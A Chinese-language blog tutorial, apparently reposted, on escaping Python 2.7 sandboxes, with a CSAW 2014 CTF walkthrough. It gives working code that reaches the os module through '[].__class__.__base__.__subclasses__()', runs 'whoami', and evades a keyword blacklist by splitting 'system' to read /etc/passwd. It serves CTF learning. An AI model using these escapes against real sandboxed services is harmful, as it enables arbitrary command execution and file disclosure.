Python Sandbox Bypass

栏目: Python · 发布时间: 8年前

内容简介:Python Sandbox Bypass

常规pysandbox方法:

利用 del __builtins__.__dict__[func] 进行危险函数过滤。

简单理解, __builtins__ 存放着 Python 的内置模块。 比如: reload, __import__, print, raw_input

针对常规Python沙箱的bypass,以CTF呈现的形式居多。

以下环境全在python 2.7.10测试。

1. Magic Code

在Python里,这段 [].__class__.__base__.__subclasses__() 魔术代码,不用import任何模块,但可调用任意模块的方法。

具体使用如下:

1.1 查看Python版本

Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。

我们知道, sys.version 可以查看python版本。

>>> import sys
>>> sys.version
'2.7.10 (default, Oct 23 2015, 19:19:21) \n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]'

所以,我们只需利用MagicCode导入sys模块,并调用version方法即可。

我们找到 <class 'warnings.WarningMessage'> ,该Class已经导入了sys模块。

获取py版本如下:

def getPyVer():
    magic = [].__class__.__base__.__subclasses__()
    for item in magic:
        if 'warnings.WarningMessage' in str(item):
            return item.__init__.__globals__['sys'].version
            
print getPyVer()

返回:

2.7.10 (default, Oct 23 2015, 19:19:21) 
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]

1.2 命令执行

根据上面的理解,想要命令执行,我们需要import以下任意一个模块即可。

  • os

  • subprocess

  • commands

以os模块为例。

在2.7.10里,有以下3个Class导入了os模块。

<class 'site._Printer'>
<class 'site.Quitter'>
<class 'subprocess.Popen'>

我们利用任意一个Class的代码如下:

def cmdexec(cmd):

    magic = [].__class__.__base__.__subclasses__()
    for item in magic:
        if "<class 'site._Printer'>" ==  str(item):
            ret = item.__init__.__globals__['os'].system(cmd)
            return ret
            
print cmdexec('whoami')

返回:

Viarus
0

2. 小试牛刀

以2014 CSAW-CTF为例。

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del __builtins__.__dict__[x]

while 1:  
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("[-] " + no)
            break
    else: # this means nobreak
        exec data

该代码很简单。

  • 删除所有内置模块,除了 raw_inputprint

  • 如果输入里匹配到 banned 列表里的黑名单,就退出程序。

现在的目的是读取系统上一个文件。方法大致两种:

  1. 调用file函数读取文件

  2. 执行命令

第一种方法就不阐述了。下面是第二种执行命令的Poc:

➜  python_sandbox_bypass python sandbox.py
Welcome to my Python sandbox! Enter commands below!
>>> s = 's' + 'ystem'
>>> a = [].__class__.__base__.__subclasses__()[68].__init__.__globals__['o'+'s'].__dict__[s]
>>> a('cat /etc/passwd')
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

原理即上面执行命令的代码逻辑的原理。 由于不能出现 sys 字样,所以把 system 组合了下。

3. 总结

  • 如果是module类型,可以使用 .__dict__.keys() 查看方法名,比如 item.__init__.__globals__['os'].__dict__.keys()

  • 调用方法使用 .__dict__['funcname'] ,比如 item.__init__.__globals__['os'].__dict__['system']

  • 从class中获取该class的模块名 item.__init__.__globals__.keys()

4. 参考

  • CSAW-CTF Python sandbox write-up


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Convergence Culture

Convergence Culture

Henry Jenkins / NYU Press / 2006-08-01 / USD 30.00

"Convergence Culture" maps a new territory: where old and new media intersect, where grassroots and corporate media collide, where the power of the media producer, and the power of the consumer intera......一起来看看 《Convergence Culture》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

html转js在线工具
html转js在线工具

html转js在线工具